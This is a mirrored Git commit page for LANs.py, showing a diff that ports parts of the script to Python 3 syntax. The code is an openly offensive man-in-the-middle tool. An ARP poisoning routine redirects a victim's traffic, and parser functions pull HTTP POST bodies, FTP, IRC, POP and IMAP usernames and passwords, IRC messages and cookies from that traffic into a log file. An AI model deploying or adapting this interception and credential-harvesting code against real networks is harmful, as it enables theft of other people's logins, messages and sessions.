mirror of
https://github.com/DanMcInerney/LANs.py.git
synced 2025-08-21 22:13:24 -07:00
compatible with python 3
This commit is contained in:
parent
3141a7594e
commit
ff6d912f3b
1 changed files with 900 additions and 882 deletions
38
LANs.py
38
LANs.py
|
@ -72,12 +72,14 @@ DN = open(devnull, 'w')
|
|||
class Spoof():
|
||||
def originalMAC(self, ip):
|
||||
# srp is for layer 2 packets with Ether layer, sr is for layer 3 packets like ARP and IP
|
||||
ans,unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip), timeout=5, retry=3)
|
||||
for s,r in ans:
|
||||
ans, unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip), timeout=5, retry=3)
|
||||
for s, r in ans:
|
||||
return r.sprintf("%Ether.src%")
|
||||
|
||||
def poison(self, routerIP, victimIP, routerMAC, victimMAC):
|
||||
send(ARP(op=2, pdst=victimIP, psrc=routerIP, hwdst=victimMAC))
|
||||
send(ARP(op=2, pdst=routerIP, psrc=victimIP, hwdst=routerMAC))
|
||||
|
||||
def restore(self, routerIP, victimIP, routerMAC, victimMAC):
|
||||
send(ARP(op=2, pdst=routerIP, psrc=victimIP, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=victimMAC), count=3)
|
||||
send(ARP(op=2, pdst=victimIP, psrc=routerIP, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=routerMAC), count=3)
|
||||
|
@ -370,10 +372,10 @@ class Parser():
|
|||
except:
|
||||
pass
|
||||
if self.HTTPfragged == 1:
|
||||
print B+'[+] Fragmented POST: '+W+url+B+" HTTP POST's combined load: "+body+W
|
||||
print(B+'[+] Fragmented POST: '+W+url+B+" HTTP POST's combined load: "+body+W)
|
||||
logger.write('[+] Fragmented POST: '+url+" HTTP POST's combined load: "+body+'\n')
|
||||
else:
|
||||
print B+'[+] POST: '+W+url+B+' HTTP POST load: '+body+W
|
||||
print(B+'[+] POST: '+W+url+B+' HTTP POST load: '+body+W)
|
||||
logger.write('[+] POST: '+url+" HTTP POST's combined load: "+body+'\n')
|
||||
|
||||
# If you see any other login/pw variable names, tell me and I'll add em in here
|
||||
|
@ -417,7 +419,7 @@ class Parser():
|
|||
if url:
|
||||
#Print the URL
|
||||
if args.verboseURL:
|
||||
print '[*] '+url
|
||||
print('[*] '+url)
|
||||
logger.write('[*] '+url+'\n')
|
||||
|
||||
if args.urlspy:
|
||||
|
@ -425,10 +427,10 @@ class Parser():
|
|||
if any(i in url for i in d):
|
||||
return
|
||||
if len(url) > 146:
|
||||
print '[*] '+url[:145]
|
||||
print('[*] '+url[:145])
|
||||
logger.write('[*] '+url[:145]+'\n')
|
||||
else:
|
||||
print '[*] '+url
|
||||
print('[*] '+url)
|
||||
logger.write('[*] '+url+'\n')
|
||||
|
||||
# Print search terms
|
||||
|
@ -440,18 +442,22 @@ class Parser():
|
|||
|
||||
def ftp(self, load, IP_dst, IP_src):
|
||||
load = repr(load)[1:-1].replace(r"\r\n", "")
|
||||
|
||||
if 'USER ' in load:
|
||||
print R+'[!] FTP '+load+' SERVER: '+IP_dst+W
|
||||
logger.write('[!] FTP '+load+' SERVER: '+IP_dst+'\n')
|
||||
|
||||
if 'PASS ' in load:
|
||||
print R+'[!] FTP '+load+' SERVER: '+IP_dst+W
|
||||
logger.write('[!] FTP '+load+' SERVER: '+IP_dst+'\n')
|
||||
|
||||
if 'authentication failed' in load:
|
||||
print R+'[*] FTP '+load+W
|
||||
logger.write('[*] FTP '+load+'\n')
|
||||
|
||||
def irc(self, load, dport, sport, IP_src):
|
||||
load = repr(load)[1:-1].split(r"\r\n")
|
||||
|
||||
if args.post:
|
||||
if IP_src == victimIP:
|
||||
if 'NICK ' in load[0]:
|
||||
|
@ -459,28 +465,34 @@ class Parser():
|
|||
server = load[1].replace('USER user user ', '').replace(' :user', '')
|
||||
print R+'[!] IRC username: '+self.IRCnick+' on '+server+W
|
||||
logger.write('[!] IRC username: '+self.IRCnick+' on '+server+'\n')
|
||||
|
||||
if 'NS IDENTIFY ' in load[0]:
|
||||
ircpass = load[0].split('NS IDENTIFY ')[1]
|
||||
print R+'[!] IRC password: '+ircpass+W
|
||||
logger.write('[!] IRC password: '+ircpass+'\n')
|
||||
|
||||
if 'JOIN ' in load[0]:
|
||||
join = load[0].split('JOIN ')[1]
|
||||
print C+'[+] IRC joined: '+W+join
|
||||
logger.write('[+] IRC joined: '+join+'\n')
|
||||
|
||||
if 'PART ' in load[0]:
|
||||
part = load[0].split('PART ')[1]
|
||||
print C+'[+] IRC left: '+W+part
|
||||
logger.write('[+] IRC left: '+part+'\n')
|
||||
|
||||
if 'QUIT ' in load[0]:
|
||||
quit = load[0].split('QUIT :')[1]
|
||||
print C+'[+] IRC quit: '+W+quit
|
||||
logger.write('[+] IRC quit: '+quit+'\n')
|
||||
|
||||
# Catch messages from the victim to an IRC channel
|
||||
if 'PRIVMSG ' in load[0]:
|
||||
if IP_src == victimIP:
|
||||
load = load[0].split('PRIVMSG ')[1]
|
||||
channel = load.split(' :', 1)[0]
|
||||
ircmsg = load.split(' :', 1)[1]
|
||||
|
||||
if self.IRCnick != '':
|
||||
print C+'[+] IRC victim '+W+self.IRCnick+C+' to '+W+channel+C+': '+ircmsg+W
|
||||
logger.write('[+] IRC '+self.IRCnick+' to '+channel+': '+ircmsg+'\n')
|
||||
|
@ -490,11 +502,12 @@ class Parser():
|
|||
# Catch messages from others that tag the victim's nick
|
||||
elif self.IRCnick in load[0] and self.IRCnick != '':
|
||||
sender_nick = load[0].split(':', 1)[1].split('!', 1)[0]
|
||||
|
||||
try:
|
||||
load = load[0].split('PRIVMSG ')[1].split(' :', 1)
|
||||
channel = load[0]
|
||||
ircmsg = load[1]
|
||||
print C+'[+] IRC '+W+sender_nick+C+' to '+W+channel+C+': '+ircmsg[1:]+W
|
||||
print(C+'[+] IRC '+W+sender_nick+C+' to '+W+channel+C+': '+ircmsg[1:]+W)
|
||||
logger.write('[+] IRC '+sender_nick+' to '+channel+': '+ircmsg[1:]+'\n')
|
||||
except:
|
||||
return
|
||||
|
@ -508,7 +521,7 @@ class Parser():
|
|||
return
|
||||
else:
|
||||
self.Cookies.append(x)
|
||||
print P+'[+] Cookie found for '+W+host+P+' logged in LANspy.log.txt'+W
|
||||
print(P+'[+] Cookie found for '+W+host+P+' logged in LANspy.log.txt'+W)
|
||||
logger.write('[+] Cookie found for'+host+':'+x.replace('Cookie: ', '')+'\n')
|
||||
|
||||
def user_pass(self, username, password):
|
||||
|
@ -516,6 +529,7 @@ class Parser():
|
|||
for u in username:
|
||||
print R+'[!] Username found: '+u[1]+W
|
||||
logger.write('[!] Username: '+u[1]+'\n')
|
||||
|
||||
if password:
|
||||
for p in password:
|
||||
if p[1] != '':
|
||||
|
@ -524,6 +538,7 @@ class Parser():
|
|||
|
||||
def mailspy(self, load, dport, sport, IP_dst, IP_src, mail_ports, ack):
|
||||
load = repr(load)[1:-1]
|
||||
|
||||
# Catch fragmented mail packets
|
||||
if ack == self.oldmailack:
|
||||
if load != r'.\r\n':
|
||||
|
@ -569,9 +584,11 @@ class Parser():
|
|||
self.decode(load, dport)
|
||||
self.IMAPauth = 0
|
||||
self.IMAPdest = ''
|
||||
|
||||
if "authenticate plain" in load:
|
||||
self.IMAPauth = 1
|
||||
self.IMAPdest = IP_dst
|
||||
|
||||
if dport == 110 and IP_src == victimIP:
|
||||
if self.POPauth == 1 and self.POPdest == IP_dst and len(load) > 10:
|
||||
# Don't double output mail passwords
|
||||
|
@ -580,12 +597,13 @@ class Parser():
|
|||
self.POPauth = 0
|
||||
self.POPdest = ''
|
||||
return
|
||||
print R+'[!] POP user and pass found: '+load+W
|
||||
print(R+'[!] POP user and pass found: '+load+W)
|
||||
logger.write('[!] POP user and pass found: '+load+'\n')
|
||||
self.mail_passwds.append(load)
|
||||
self.decode(load, dport)
|
||||
self.POPauth = 0
|
||||
self.POPdest = ''
|
||||
|
||||
if 'AUTH PLAIN' in load:
|
||||
self.POPauth = 1
|
||||
self.POPdest = IP_dst
|
||||
|
|
Loading…
Add table
Add a link
Reference in a new issue